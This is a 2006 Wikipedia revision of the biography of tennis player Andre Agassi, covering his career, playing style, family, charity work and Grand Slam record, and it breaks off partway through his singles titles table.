    <title>Andre Agassi</title>
    <id>595</id>
    <revision>
      <id>41929306</id>
      <timestamp>2006-03-02T18:14:20Z</timestamp>
      <contributor>
        <ip>86.52.13.177</ip>
      </contributor>
      <comment>/* 2006 */</comment>
      <text xml:space="preserve">{{Infobox Tennis player
|image= [[Image:Agassi Backhand.jpg|250px|Agassi Backhand]]
|playername= Andre Agassi
|country= [[United States]]
|residence= [[Las Vegas, Nevada|Las Vegas]], [[USA]]
|datebirth= [[April 29]], [[1970]]
|placebirth= [[Las Vegas, Nevada|Las Vegas]], [[USA]]
|height= 5'11&quot; (180 cm)
|weight= 177 lbs (80 kg)
|turnedpro= [[1986]]
|plays= Right
|grip= 
|careerprizemoney= $31,006,875
|singlestitles= 60
|highestsinglesranking= No. 1 ([[April 10]], [[1995]])
|AustralianOpenresult= '''W''' (1995, 2000, 2001, 2003)
|FrenchOpenresult= '''W''' (1999)
|Wimbledonresult= '''W''' (1992)
|USOpenresult= '''W''' (1994, 1999)
|doublestitles= 1
|highestdoublesranking= No. 123 ([[August 17]], [[1992]])
}}

'''Andre Kirk Agassi''', (born [[April 29]] [[1970]], in [[Las Vegas, Nevada|Las Vegas]], [[Nevada]]) is a [[professional]] [[male]] former '''[[List of ATP number 1 ranked players|World No. 1]]''' [[tennis]] player from the [[United States]]. He has won eight [[Grand Slam (tennis)|Grand Slam]] singles titles, and is one of only five players to have won all four Grand Slam events. He is considered among the all-time great tennis players. 

Agassi was married to the actress [[Brooke Shields]] from 1997 to 1999. Since 2001, he has been married to the former World No. 1 woman tennis player [[Steffi Graf]] and had two children.

==Early life==
Agassi's father, (an Armenian from Iran) Emmanuel &quot;Mike&quot; Agassian (who represented [[Iran]] in [[boxing]] at the 1948 and 1952 [[Olympic Games]] before emigrating to the [[United States]]), was intent on having a child win all four tennis Grand Slams. He called Agassi's two older siblings &quot;guinea pigs&quot; in the development of his coaching techniques. He honed Andre's eye-coordination when he was an infant by hanging tennis balls above his crib. He gave Agassi paddles and balloons when he was still in a high chair. When Agassi started playing tennis, his ball collection filled 60 garbage cans with 300 balls per can, and Agassi would hit 3,000-5,000 balls every day. When Andre was five years old, he was already practicing with pros such as [[Jimmy Connors]] and [[Roscoe Tanner]].

Mike Agassi learned tennis by watching tapes of champions. Mike Agassi took a very systematic approach to the physics and psychology of tennis, and still remains active in the sport. (More information can be found in Mike Agassi's book, ''The Agassi Story''.)

At age of 14, Andre was shipped off to teaching guru [[Nick Bollettieri]]'s Tennis Academy in [[Florida]]. He turned professional when he was 16.

==Tennis career==
===1986-1997===
Agassi turned professional in 1986, and won his first top-level singles title in 1987 at [[Itaparica]]. He won six further tournaments in 1988, and by December that year he had surpassed US$2 million in career prize money after playing in just 43 tournaments – the quickest player in history to do so.

As a young up-and-coming player, Agassi embraced a rebel image. He grew his hair to rock-star length, sported an ear-ring, and wore colorful shirts that pushed tennis' still-strict sartorial boundaries. He boasted of a cheeseburger-heavy diet and endorsed the Canon Rebel camera. &quot;Image is everything&quot; was the ad's tag line, and it became Andre's as well.

Strong performances on the tour meant that Agassi was quickly tipped as a future Grand Slam champion. But he began the 1990s with a series of near-misses. He reached his first Grand Slam final in 1990 at the [[French Open]], where he lost in four sets to the seasoned veteran player [[Andrés Gómez]]. Later that year he lost in the final of the [[U.S. Open (tennis)|US Open]] to another up-and-coming teenaged star, [[Pete Sampras]]. The rivalry between these two American players was to become the dominant rivalry in tennis over the rest the of the decade. In 1991, Agassi reached his second consecutive French Open final where he faced his former Bollettieri Academy-mate [[Jim Courier]]. Courier emerged the victor in a dramatic rain-interrupted five-set final. 

Agassi chose not to play at [[Wimbledon Championships|Wimbledon]] from 1988-90, and publicly stated that he did not wish to play there because of the event's traditionalism, particularly its &quot;predominantly-white&quot; dress code which players at the event are required to conform to. Many observers at the time speculated that Agassi's real motivation was that his strong baseline game would not be well suited to Wimbledon's [[grass court]] surface. Agassi decided to play at Wimbledon in 1991, leading to weeks of speculation in the media about what he would wear – he eventually emerged for the first round in a completely white outfit. He reached the quarter-finals on that occasion. 

To the surprise of many, Agassi's Grand Slam breakthrough came at Wimbledon in 1992, when he beat [[Goran Ivanišević]] in a tight five-set final. 

Following wrist surgery in 1993, Agassi came back strongly in 1994 and captured the US Open, beating [[Michael Stich]] in the final. He then captured his first [[Australian Open]] title in 1995, beating Sampras in a four-set final. He won a career-high seven titles that year and he reached the World No. 1 ranking for the first time that April. He held it for 30 weeks on that occasion through to November. He compiled a career-best 26-match winning streak during the summer [[hardcourt]] circuit, which ended when he lost in the US Open final to Sampras. 

In 1995, Agassi won seven singles titles, the biggest being the [[Australian Open]], the [[Cincinnati Masters]], the [[Miami Masters]], and the [[Canada Masters]]. In terms of win/loss record, 1995 was Agassi's best year (72/10) (includes Davis Cup). This is slightly short of  Sampras's best season, 1994, in which he (Sampras) won 77 matches and lost 12. 
In 1996, Agassi won the men's singles Gold Medal at the [[1996 Summer Olympics|Olympic Games]] in [[Atlanta, Georgia|Atlanta]], beating [[Sergi Bruguera]] of [[Spain]] in straight sets in the final. He also repeated at the [[Cincinnati Masters]] and the [[Miami Masters]].

1997 was a poor year for Agassi. He won no top-level titles and his ranking sank to World No. 141 in November. His form was perhaps affected by the intense publicity surrounding his high-profile and turbulent relationship and marriage to actress Brooke Shields.

===1998-2004===
In 1998, Agassi rededicated himself to tennis. He shaved his balding head, began a rigorous conditioning program, and worked his way back up the rankings by playing in Challenger Series tournaments (a circuit for professional players ranked outside the world's top 50). Perhaps most remarkably, the one-time rebel emerged as a gracious and thoughtful athlete, looked up to by younger players. After winning matches, he took to bowing and blowing a two-handed kisses to spectators on each side of the court, a gesture seen as a rather humble acknowledgment of their support for him and for tennis.

In 1998, Agassi won five titles and leapt from No. 122 on the rankings at the start of the year, to No. 6 at the end of it, making it the highest jump into the Top 10 made by any player in tennis. He won five titles in ten finals, and finished runner-up at the [[Miami Masters]]. 

Agassi entered the history books in 1999 when he beat [[Andrei Medvedev]] in a five-set French Open final to become only the fifth male player to have won all four Grand Slam singles titles (a feat last achieved in the 1960s by [[Roy Emerson]]). He followed this up by reaching the Wimbledon final, where he lost to Sampras. He then won the US Open, beating [[Todd Martin]] in five sets in the final, and finished the year ranked the World No. 1.

Agassi began 2000 by capturing his second Australian Open title, beating [[Yevgeny Kafelnikov]] in a four-set final. He was the first male player to have reached four consecutive Grand Slam finals since [[Rod Laver]] achieved the Grand Slam in 1969. 2000 also saw Agassi reach the semi-finals at Wimbledon, where he lost in five sets to [[Patrick Rafter]] in a very high quality battle considered by many to be one of the best matches ever played at Wimbledon [http://news.bbc.co.uk/sport2/hi/tennis/wimbledon_history/3742067.stm]. At the inaugural [[Tennis Masters Cup]] in [[Lisbon]], Agassi made it all the way to the final after defeating [[Marat Safin]] 6-3, 6-3 in the semifinals to end the Russian's hopes to become the youngest World No. 1 in the history of tennis.  Agassi eventually lost to [[Gustavo Kuerten]] 6-4, 6-4, 6-4. This loss allowed Kuerten to be crowned year end World No. 1. 2000 is considered by many of his fans to be a disappointing season for Agassi, as he managed to win only one tournament (2000 Australian Open).

Agassi opened 2001 by successfully defending his Australian Open title with a straight-sets final win over [[Arnaud Clement]]. At Wimbledon, he battled Rafter again in the semi-finals and lost 8-6 in the fifth set. At the US Open he lost in the quarter-finals to Sampras in what is considered to be one of tournament's all-time greatest matches. Sampras won 6-7, 7-6, 7-6, 7-6 in a match with no breaks of serve. 

Agassi and Sampras' last duel came in the final of the US Open in 2002. The battle between the two veterans saw Sampras emerge victorious in four sets, and left Sampras with a 20-14 edge in their 34 career meetings. (The match in fact proved to be the last of Sampras' career. He did not play in an event on the professional tour again, and officially announced his retirement in 2003.) Agassi's US Open finish, along with his victories at the Miami Masters, [[Rome Masters]], and [[Madrid Masters]], helped him finish 2002 as the oldest year-end No. 2 at 32 years and 8 months.

In 2003, Agassi won the eighth Grand Slam title of his career at the Australian Open, where he beat [[Rainer Schüttler]] in straight sets in the final. In May that year, he recaptured the World No.1 ranking to become the oldest No. 1 ranked male tennis player in history at 33 years and 13 days. He held the No. 1 ranking on that occasion for 13 weeks. At the year-end Tennis Masters Cup, he lost in the final to [[Roger Federer]] and finished the year ranked World No. 4.

In 2004, the 34-year-old Agassi won the [[Cincinnati Masters]] to bring his career total to 59 top-level singles titles and a record 17 ATP Masters Series titles. He became the second-oldest singles champion in Cincinnati's storied history (the tournament began in 1899), surpassed only by [[Ken Rosewall]] who won the title in 1970 at age 35.  

Agassi has also won one doubles title (at the [[Cincinnati Masters]] in 1993, partnering [[Petr Korda]]). He is one of only five male players to have won all the Grand Slams – along with legends [[Don Budge]], [[Roy Emerson]], [[Rod Laver]] and [[Fred Perry]]. He is in fact the first male tennis player to win the four Grand Slams on four different surfaces. The previous players won the Australian Open, Wimbledon, and the US Open on grass courts and the French Open on [[clay court]]s; whereas Agassi won the Australian Open on [[Rebound Ace]], the French Open on clay, Wimbledon on grass, and the US Open on hardcourts. After winning [[French Open]] in 1999, Agassi became the first male tennis player to win the [[Career Golden Slam]]. Agassi also helped the United States win the [[Davis Cup]] in 1990 and 1992. He was named the [[BBC Sports Personality of the Year Overseas Personality|BBC Overseas Sports Personality of the Year]] in 1992. Agassi has earned more than US$30 million in prize-money throughout his career, second only to Sampras. In addition to this, he also earns over US$25 million a year through endorsements, the most by any tennis player and fourth in all sports (first place is [[Tiger Woods]] at US$70 million a year).

===2005===
Agassi started off 2005 with strong runs, most of which were cut short by [[Roger Federer]]. He lost to Federer in the quarterfinals of the Australian Open and the semifinals at Dubai. He reached the quarterfinals at Indian Wells after a dominant victory over Guillermo Coria, but withdrew from his match with Lleyton Hewitt with a swollen big toe. Agassi lost in the semifinals at Miami to Federer in a tight match. Although the claycourt season is the toughest on the body, Agassi played in Rome and reached the semifinals which he lost to Coria in a tough battle. At the 2005 French Open, Agassi lost to [[Jarkko Nieminem]], in their first-round match after enduring back pain related to a pinched [[sciatic nerve]]. He lost in five sets with 6-0 in the fifth. After much media speculation about retirement, the 35-year-old Agassi won in Los Angeles and made the final at Montreal before falling to world No. 2 [[Rafael Nadal]] in three long sets that he might have won if a few points had gone differently. His coach Darren Cahill and close friend and personal trainer [[Gil Reyes]] worked with Agassi throughout the summer to prepare for the [[2005 US Open]]. Agassi made a spectacular run at the Open, beating Razvan Sabau 6-3, 6-3, 6-1, [[Ivo Karlovic]] in the second round 7-6(7-4), 7-6(7-5), 7-6(7-4); [[Tomáš Berdych]] 3-6, 6-1, 6-4, 7-6(7-2); and [[Xavier Malisse]] 6-3, 6-4, 6-7(5-7), 4-6, 6-2. His quarterfinal match against fellow American [[James Blake]] has been called one of the best matches in US Open history. After dropping the first two sets, 3-6, 3-6, Agassi took the next two, 6-3, 6-3. In the fifth set, Blake served for the match at 5-4, but Agassi broke his serve, then won the tiebreak 8-6 to secure the victory at 1:15 a.m. He defeated [[Robby Ginepri]], another rising, talented American with a consistent baseline game, in his third consecutive five-set match to earn a spot in the final against World No. 1 [[Roger Federer]]. After losing the first set 6-3, Agassi broke Federer twice to win the second, 6-2. He broke Federer again and at this point looked to be the better player. Agassi had a 30-love lead but with a few costly errors was broken to force a tiebreak, which Federer took, 7-1. Andre ran out of gas which allowed Federer to reel off five straight games.  Being down 5-0 in the fourth set, Agassi held to make it 5-1 before Federer closed it out to win the championship. After the match, Agassi thanked New York for the 20 years of memories, hinting at potential retirement. However, Agassi has made clear that he will only retire on his terms, when he feels that he cannot perform at his best on the court. He will likely continue for another year, as he has qualified for the 2005 Masters Cup (which is limited to the eight best players in the world) and is scheduled to play the lead-in tournament to the 2006 Australian Open.

Coming into the 2005 Masters Cup, Agassi is 29-5 on hard courts (with his only losses coming to [[Roger Federer]] and [[Rafael Nadal]]), and is 5-4 on clay (wins over Gasquet, Ljubicic, and Hrbaty, losses to Coria and Lopez).

In 2005, Agassi left [[Nike, Inc.|Nike]] after 17 years and signed an endorsement deal with [[Adidas]]. [http://sports.espn.go.com/sports/tennis/news/story?id=2116135]

Hampered by a third degree ankle injury caused by several torn ligaments, Agassi lost his opening match against Nikolay Davydenko in the Masters Cup and was forced to withdraw. The withdrawal list also included Rafael Nadal, Andy Roddick, Lleyton Hewitt, and Marat Safin.

===2006===

Agassi withdrew from the Australian Open because of an ankle injury. Once he withdrew, he immediately requested a wildcard to enter the Delray Beach International Tennis Championships, where he eventually finished as a quarterfinalist losing to [[Guillermo Garcia Lopez]] 4-6, 2-6. 
He was then forced to retire from SAP Open because of a lower back injury causing him severe pain in his lower back and down his legs. 
He then played in the Dubai Open where he won in straight sets over [[Greg Rusedski]] in the first round before losing in straights to German [[Bjorn Phau]] in second round.
Health permitting, Agassi is scheduled to play tournaments in Indian Wells and Miami to close out the winter hardcourt season. Agassi has officially said that he is skipping the entire clay season, since it burdens his body. He will do his best to be ready for Wimbledon. However, Agassi's top priority in 2006 will once again be making yet another run at the US Open in August. Expect all scheduling decisons to be made with that goal in mind.

==Playing style==
Agassi employs a baseline style of play, but unlike most such players, he typically makes contact with the ball ''inside'' the baseline -- exceptionally difficult even for professionals. This is possible because of his short backswing, which also helps him return fast serves. He is also blessed with the best hand and eye coordination, rivaled only by [[Roger Federer]].  [[John McEnroe]] and others have called Agassi the best service returner ever to play professional tennis.

After Agassi's rededication to tennis in 1998, he has focused more on physical conditioning than in the past and is now one of the fittest players on the tour. His upper-body strength allows him to [[bench press]] 350 lbs. He has remarkable endurance and rarely appears tired on court. As long as he is not injured, he handles long, grueling matches arguably better than any other player on the tour (even Roger Federer has been known to tire by the fifth set). Indeed, Agassi is often ready to start the next point when his opponent is catching his breath. One of his strategies is to wear down his opponents, continually putting pressure on them by returning the ball early and deep at angles. Agassi will try to stand in nearly one spot and hit the corners to make his opponent scramble. He will often pass up the winner and hit a slightly less aggressive shot to make his opponent run a little more to retrieve a few more shots. His penchant for running players around point after point has earned him the nickname &quot;The Punisher&quot;. 

Agassi's biggest weakness currently is his lack of consistent speed, and players who are able to consistently hit at sharp angles with pace give him trouble. Agassi used to be one of the fastest players on tour; however, his recent injuries have forced him to consistently run his fastest selectively, usually in Grand Slams and Tennis Masters Series events.  To make up for this recently-adopted weakness, Agassi generally keeps his opponent on the defense. (Federer is the only player with a long winning streak against Agassi; even Sampras lost to Agassi many times).

==Personal and family life==
After a four-year courtship, Agassi married actress Brooke Shields in a lavish ceremony on [[April 19]] 1997. That February, they had filed suit against ''[[The National Enquirer]]'' claiming it printed &quot;false and fabricated&quot; statements: Brooke was undergoing counseling, binge-eating and taking pills; Agassi &quot;lashed into&quot; Brooke and he and Brooke's mother &quot;tangled like wildcats&quot; when she demanded a [[prenuptial agreement|prenup]]; the case was dismissed. Agassi filed for divorce, which was granted on [[April 9]], 1999. 

By the time the divorce was final, Agassi was dating the German tennis legend Steffi Graf.  With only their mothers as witnesses, they were married at his home on [[October 22]], 2001. Their son, [[Jaden Gil Agassi|Jaden Gil]], was born 6 weeks prematurely on [[October 26]] that year. Their daughter, [[Jaz Elle Agassi|Jaz Elle]], was born on [[October 3]] [[2003]].

Agassi's older sister Rita married the former tennis legend [[Pancho Gonzales]]. In 1995, when Gonzales died in Las Vegas, Andre paid for his brother-in-law's funeral.

Andre has participated in many charity organizations, and founded the Andre Agassi Charitable Association, which assists the youth of Las Vegas. In 1995, he has won 1995's ATP Arthur Ashe's Humanitarian award in recognition of his efforts helping disadvantaged youth in LA. 

The Andre Agassi Charitable Foundation has always and will continue to fund organizations which offer programs that consistently carry out the mission of the Foundation. The Foundation's mission is to provide educational and recreational institutions and activities for abandoned, abused, and at-risk kids. The following organizations are fine examples:

===The Andre Agassi Boys &amp; Girls Club===
In 1997, Agassi opened the Boys &amp; Girls Club, a 25,000-square-foot facility that features an indoor basketball court, outdoor tennis courts, a computer lab, library and teen centre. It sees as many as 400 children a day in the summer and well over 2,000 during the year. 

Its junior tennis team, Team Agassi, includes mostly players with no previous tennis experience. As of January 2006, the team boasted four nationally ranked players as well as a number of regionally ranked players. Coached by Tim Blenkiron, the group practices regularly, attends study sessions, and often travels to play in various tournaments. The program also encourages members to respect each other and appreciate the challenges of winning and losing.

A basketball program, the Agassi Stars, began in 2000. Headed by Coach Jermone Riley, the Stars are required to attend study hall sessions, write to universities they might be interested in attending, and balance athletics and education.

The Foundation hopes to make these programs a college recruiting ground for kids with academic as well as athletic potential. In a community where drugs and gangs are prevalent forces, the Agassi Club promotes learning and gives kids a safe place to go after school.

== Ethnicity question ==
Agassi's ethnicity, beyond being an American citizen, has been a subject of discussion by fans around the world. His father Mike Agassi is of [[Armenian people|Armenian]] and [[Assyrian people|Assyrian]] ethnicity from the state of Iran, and there have been attempts to &quot;claim&quot; Agassi by both the Armenian and Iranian communities in the United States and abroad. Agassi has often seemed somewhat ambivalent, for example, joking after his &quot;All-Armenian&quot; match against [[Sargis Sargsian]] at the US Open in 2004, &quot;Well, I'm only half-Armenian&quot; [http://www.boston.com/sports/other_sports/tennis/articles/2004/09/07/armenian_supremacy_for_agassi?mode=PF], though he agreed to appear in a [[PBS]] documentary about [http://www.wliw.org/productions/armenian.html Armenian-Americans]. His father has written in his book, ''The Agassi Story'', about his experience of being an outsider in Muslim Iran, but Andre has also shown interest in the Iranian aspect of his heritage, in February 2005 expressing a desire to visit Iran, which holds &quot;a special place&quot; in his heart.[http://www.payvand.com/news/05/feb/1171.html]

==Quotes==
About Pete Sampras' retirement: &quot;You grow up with a guy, you compete against him for so long, he's such a big part of your career, something that's pretty special, so you do have that sense of personal regret that he's not around any more. You miss having that around.&quot;

During the 2005 US Open: &quot;I've been motivated by overcoming challenge and overcoming the hurdles and obstacles that face me. There still is plenty out there to get motivated by.&quot;

(from [[Mats Wilander]], asked to name the top 5 tennis players of all time; he placed Agassi, Sampras, Federer, and Borg in the top 4 (in no order) and tied McEnroe, Lendl, and Connors for fifth place): ON AGASSI: “He has some limitations, like he can’t serve and volley, yet he has won all four Slams. He has a very high energy level, quite like Borg. He is on fifth gear from the very first point. There is some abnormality in his eyes, otherwise he wouldn’t have had such a phenomenal return. He sees the ball like none else and just guides it wherever he wants to. He’s just played a Grand Slam final at 35, that tells me he wasted the first five years of his career, otherwise he couldn’t have lasted this long. No one has done more to tennis than Agassi and Borg.”

==Video games==
* ''[[Andre Agassi Tennis]]'' for the [[SNES]], [[Sega Genesis]], [[Game Gear]], and [[Mobile phone]]
* ''[[Agassi Tennis Generation]]'' for [[PlayStation 2|PS2]] and [[Game Boy Advance|GBA]]
* ''[[Smash Court Pro Tournament]]'' for PS2

==Grand Slam record==
[[Australian Open]]
*'''Singles champion: 1995, 2000, 2001, 2003
*Singles semi-finalist: 1996, 2004
*Singles quarter-finalist: 2005

[[French Open]]
*'''Singles champion: 1999
*Singles finalist: 1990, 1991
*Singles semi-finalist: 1988, 1992
*Singles quarter-finalist: 1995, 2001, 2002, 2003
*Doubles quarter-finalist: 1992

[[Wimbledon]]
*'''Singles champion: 1992
*Singles finalist: 1999
*Singles semi-finalist: 1995, 2000, 2001
*Singles quarter-finalist: 1991, 1993

[[U.S. Open (tennis)|U.S. Open]]
*'''Singles champion: 1994, 1999
*Singles finalist: 1990, 1995, 2002, 2005
*Singles semi-finalist: 1988, 1989, 1996, 2003
*Singles quarter-finalist: 1992, 2001, 2004

==Grand Slam finals==

===Wins (8)===

 '''Year'''   '''Championship'''             '''Opponent in Final'''           '''Score in Final'''
 1992   Wimbledon                Goran Ivanišević            6-7, 6-4, 6-4, 1-6, 6-4
 1994   US Open                  Michael Stich               6-1, 7-6, 7-5
 1995   Australian Open          Pete Sampras                4-6, 6-1, 7-6, 6-4
 1999   French Open              Andrei Medvedev             1-6, 2-6, 6-4, 6-3, 6-4
 1999   US Open                  Todd Martin                 6-4, 6-7, 6-7, 6-3, 6-2
 2000   Australian Open          Yevgeny Kafelnikov          3-6, 6-3, 6-2, 6-4
 2001   Australian Open          Arnaud Clement              6-4, 6-2, 6-2
 2003   Australian Open          Rainer Schuettler           6-2, 6-2, 6-1

===Runner-ups (7)===

 '''Year'''   '''Championship'''             '''Opponent in Final'''           '''Score in Final'''
 1990   French Open              Andres Gomez                6-3, 2-6, 6-4, 6-4
 1990   US Open                  Pete Sampras                6-4, 6-3, 6-2
 1991   French Open              Jim Courier                 3-6, 6-4, 2-6, 6-1, 6-4  
 1995   US Open                  Pete Sampras                6-4, 6-3, 4-6, 7-5
 1999   Wimbledon                Pete Sampras                6-3, 6-4, 7-5
 2002   US Open                  Pete Sampras                6-3, 6-4, 5-7, 6-4
 2005   US Open                  Roger Federer               6-3, 2-6, 7-6, 6-1

==Famous matches==
* US Open quarterfinal 1989: defeated [[Jimmy Connors]] 6-1, 4-6, 0-6, 6-3, 6-4. Agassi's first five-set win. At one point during a changeover, Agassi joked to his box that he was losing sets on purpose to prove that he could win in five. The previous time he played Connors was at the 1988 US Open quarterfinal in which he beat Connors convincingly and did not lose a set.
* French Open final 1990: lost to [[Andrés Gómez]] 6-3, 2-6, 6-4, 6-4. Agassi's first Grand Slam final.
* US Open final 1990: lost to [[Pete Sampras]] 6-4, 6-3, 6-2. The first of five Grand Slam finals contested by the top two players of their generation.
* French Open final 1991: lost to [[Jim Courier]] 6-3, 4-6, 6-2, 1-6, 4-6. Blew 2 sets to 1 lead after rain delay. Many questioned if Agassi had the heart to win a major championship.
* Wimbledon final 1992: defeated [[Goran Ivanišević]] 6-7(8), 6-4, 6-4, 1-6, 6-4. Agassi's first Grand Slam title occurring at the tournament no one thought he could ever win. Still his only Wimbledon championship.
* Wimbledon quarterfinal 1993: lost to Pete Sampras 6-2, 6-2, 3-6, 3-6, 6-4. The first of only two 5-set matches between the two (The other was the 2000 Australian Open semis).
* US Open 4th Round 1994: defeated [[Michael Chang]] 6-1, 6-7(3), 6-3, 3-6, 6-1. Outlasts Chang en route to becoming the first unseeded man to win the US Open championship in 28 years. Knocked off five seeded players along the way. First US Open title.  
* Australian Open 1995 final: defeated Pete Sampras 4-6, 6-1, 7-6(6), 6-4. Agassi's only Grand Slam Final victory over Sampras.
* Atlanta Summer Olympics Gold Medal Match 1996: defeated [[Serge Bruguera]] 6-2, 6-3, 6-1. Demolished two-time French Open Champion to achieve important personal goal of winning an Olympic Gold Medal.
* French Open 1st round: lost to [[Marat Safin]] 7-5, 5-7, 2-6, 6-3, 2-6 in what was the Russian's first Grand Slam match. Safin's win foreshadowed his win over Pete Sampras in the 2000 US Open final.
* French Open final 1999: defeated [[Andrei Medvedev]] 1-6, 2-6, 6-4, 6-3, 6-4.  A spectacular come-from-behind victory that completed his career Grand Slam at the &quot;advanced&quot; age of 29, and his return to the top of tennis after being as low as #141. Referred to as the &quot;Miracle in Paris&quot;. Agassi has stated that he considers this his greatest moment on a tennis court.
* US Open final 1999: defeated [[Todd Martin]] 6-4, 6-7(5), 6-7(2), 6-3, 6-2. Another come-from-behind thriller.
* Australian Open 2000 semi-final: defeated Pete Sampras 6-4, 3-6, 6-7(0), 7-6(5), 6-1. En route to his second Australian Open crown.  [[Tennis Magazine]] stated: &quot;''This'' was Sampras-Agassi for the ages.&quot;
* Wimbledon semi-final 2000: lost to [[Patrick Rafter]] 7-5, 4-6, 7-5, 4-6, 6-3. This match was universally praised for its asthetic beauty as the world's greatest baseliner battled the game's most fluid and athletic volleyer over five tense sets.
* Australian Open 2001 semi-final: defeated Patrick Rafter 7-5, 2-6, 6-7(5), 6-2, 6-3. Exacted some revenge for 2000 Wimbledon semi loss to Rafter. Rallied from 2 sets to 1 down to stun Rafter in front of an energized Australian crowd. 
* Wimbledon semi-final 2001: lost to Patrick Rafter 2-6, 6-3, 3-6, 6-2, 8-6. Although not considered possible, the rematch topped the standard set by their encounter from the year before.
* US Open 2001 quarter-final: lost to Pete Sampras 6-7(9), 7-6(2), 7-6(2), 7-6(5). Match featured no breaks of serve. Many consider this the best Agassi-Sampras match played.
* US Open 2002 final: lost to Pete Sampras 6-3, 6-4, 5-7, 6-4. Sampras' final competitive match.
* French Open 2003 2nd round: defeated [[Mario Ancic]] 5-7, 1-6, 6-4, 6-2, 7-5. Rallied back from two sets to love against the young and powerful Ancic to win the match. One of only six matches Agassi has won after being down two sets to love. Three of them have been at the [[French Open]].
* French Open 2004 1st round: lost to [[Jerome Haehnel]] 4-6, 6-7(4), 3-6. Shock first round loss to lowly French career journeyman. Arguably the greatest upset in French Open history.
* US Open 2004 quarter-final: lost to Roger Federer 3-6, 6-2, 5-7, 6-3, 3-6. 5th set marred by record-breaking winds. By far Roger Federer's most difficult match en route to the title.
* Australian Open 2005 4th round: defeated [[Joachim Johansson]] 6-7(4), 7-6(5), 7-6(3), 6-4. Won despite Johansson's world-record 51 aces.
* French Open 2005 1st round: lost to [[Jarkko Nieminen]] 5-7, 6-4, 7-6, 1-6, 0-6.  Possibly Agassi's last match at the French Open.  He led two sets to one heading into the fourth set, but a pinched sciatic nerve hampered Agasi's movement very noticeably. Agassi limped off the court with tears in his eyes after the match. The match was a major indicator to many that Agassi's career might be coming to a close soon.
* US Open 2005 quarter-final: defeated [[James Blake]] 3-6, 3-6, 6-3, 6-3, 7-6(6). Agassi had never come back from two sets down in the US Open. This was called the best match of the 2005 Open and one of the best in US Open history.
* US Open 2005 semi-final: defeated [[Robby Ginepri]] in his third consecutive five-set thriller: 6-4, 5-7, 6-3, 4-6, 6-3. At 35 years old, he played his best tennis in the fifth set.
* US Open 2005, final: lost to Roger Federer in his sixth US Open final. In the finale of Agassi's magic run at the Open which included 3 five-set matches in a row, Agassi met Federer and appeared to have the upper hand, being up a break in the third set with the match tied at one set each.  However, Federer withstood the pressure and rallied to beat Agassi 6-3, 2-6, 7-6(1), 6-1.
* Tennis Masters Cup 2005, Round Robin: lost to [[Nikolay Davydenko]] 6-4, 6-2. Agassi was suffering from a sprained ankle injured while he was playing racquetball three weeks before. Although the match itself was unremarkable, the afterward was, when one of the tournament organizers absurdly accused Agassi of faking injury and losing on purpose because he (Agassi) was playing in Shanghai. It turned out that the same injury would cause Agassi to withdraw the 2006 Australian Open.

==Titles (60)==
{| {{pt}}
|- bgcolor=&quot;#eeeeee&quot; 
|'''Legend (Singles)'''
|- bgcolor=&quot;#e5d1cb&quot; 
| Grand Slam (8)
|- bgcolor=&quot;ffffcc&quot;
| Tennis Masters Cup (1)
|- bgcolor=&quot;gold&quot;
| Olympic Gold (1)
|- bgcolor=&quot;#dfe2e9&quot; 
| ATP Masters Series (17)
|- bgcolor=&quot;#ffffff&quot; 
| ATP Tour (33)
|}

===Singles (60)===
{| {{pt}}
|- bgcolor=&quot;#eeeeee&quot;
|'''No.'''
|'''Date'''
|'''Tournament'''
|'''Surface'''
|'''Opponent in the final'''
|'''Score'''
|-
|1.  
|[[November 23]], [[1987]]
|[[Itaparica]], [[Brazil]]
|Hard
|[[Luiz Mattar]] ([[Brazil]]) 
|7-6 6-2 
|- 
|2.  
|[[February 15]], [[1988]]
|[[Memphis, Tennessee|Memphis]], [[United States|USA]]
|Hard
|[[Mikael Pernfors]] ([[Sweden]])
|6-4 6-4 7-5 
|-
|3.  
|[[April 25]], [[1988]]
|[[Charleston, South Carolina|Charleston]], [[United States|USA]]
|Clay
|[[Jimmy Arias]] ([[United States|USA]]) 
|6-2 6-2 
|-
|4.
|[[May 2]], [[1988]]
|[[Forest Hills]], [[United States|USA]]
|Clay
|[[Slobodan Zivojinovic]] ([[Yugoslavia]])
|7-5 7-6 7-5   
|-
|5.
|[[July 11]], [[1988]]
|[[Stuttgart|Stuttgart Outdoors]], [[Germany]] 
|Clay
|[[Andres Gomez]] ([[Ecuador]])
|6-4 6-2
|-
|6.   
|[[July 25]], [[1988]]
|[[Stratton, Vermont|Stratton]], [[United States|USA]]
|Hard
|[[Paul Annacone]] ([[United States|USA]])
|6-2 6-4
|-
|7.  
|[[August 15]], [[1988]]
|[[Livingston]], [[United States|USA]] 
|Hard
|[[Jeff Tarango]] ([[United States|USA]])
|6-2 6-4
|-
|8.   
|[[October 2]], [[1989]]
|[[Orlando, Florida]], [[United States|USA]] 
|Hard
|[[Brad Gilbert]] ([[United States|USA]])
|6-2 6-1 
|-
|9.   
|[[February 5]], [[1990]]
|[[San Francisco]], [[United States|USA]]
|Carpet
|[[Todd Witsken]] ([[United States|USA]])
|6-1 6-3
|- bgcolor=&quot;#dfe2e9&quot; 
|10.  
|[[March 12]], [[1990]]
|[[Miami Masters|Key Biscayne]], [[United States|USA]]
|Hard
|[[Stefan Edberg]] ([[Sweden]])
|6-1 6-4 6 6-2
|-
|11.
|[[July 16]], [[1990]]
|[[Legg Mason Tennis Classic|Washington]], [[United States|USA]] 
|Hard
|[[Jim Grabb]] ([[United States|USA]])
|6-1 6-4
|- bgcolor=&quot;ffffcc&quot;
|12.
|[[November 12]], [[1990]]
|[[Tennis Masters Cup|Tour Championships]], [[Frankfurt]], [[Germany]]
|Carpet
|[[Stefan Edberg]] ([[Sweden]]) 
|5-7 7-6 7-5 6-2
|-
|13.
|[[April 1]], [[1991]]
|[[Orlando, Florida|Orlando]], [[United States|USA]]
|Hard
|[[Derrick Rostagno]] ([[United States|USA]])
|6-2 1-6 6-3 
|-
|14.
|[[July 15]], [[1991]]
|[[Legg Mason Tennis Classic|Washington]], [[United States|USA]]
|Hard
|[[Petr Korda]] ([[Czechoslovakia]])
|6-3 6-4 
|- 
|15.
|[[April 27]], [[1992]]
|[[Atlanta]], [[United States|USA]] 
|Clay
|[[Pete Sampras]] ([[United States|USA]])
|7-5 6-4 
|- bgcolor=&quot;#e5d1cb&quot; 
|'''16.'''
|'''[[June 22]], [[1992]]''' 
|'''[[Wimbledon Championships|Wimbledon]]'''
|Grass
|[[Goran Ivanišević]] ([[Croatia]])
|6-7 6-4 6-4 1-6 6-4
|- bgcolor=&quot;#dfe2e9&quot;
|17.
|[[July 20]], [[1992]]
|[[Toronto]], [[Canada]] 
|Hard
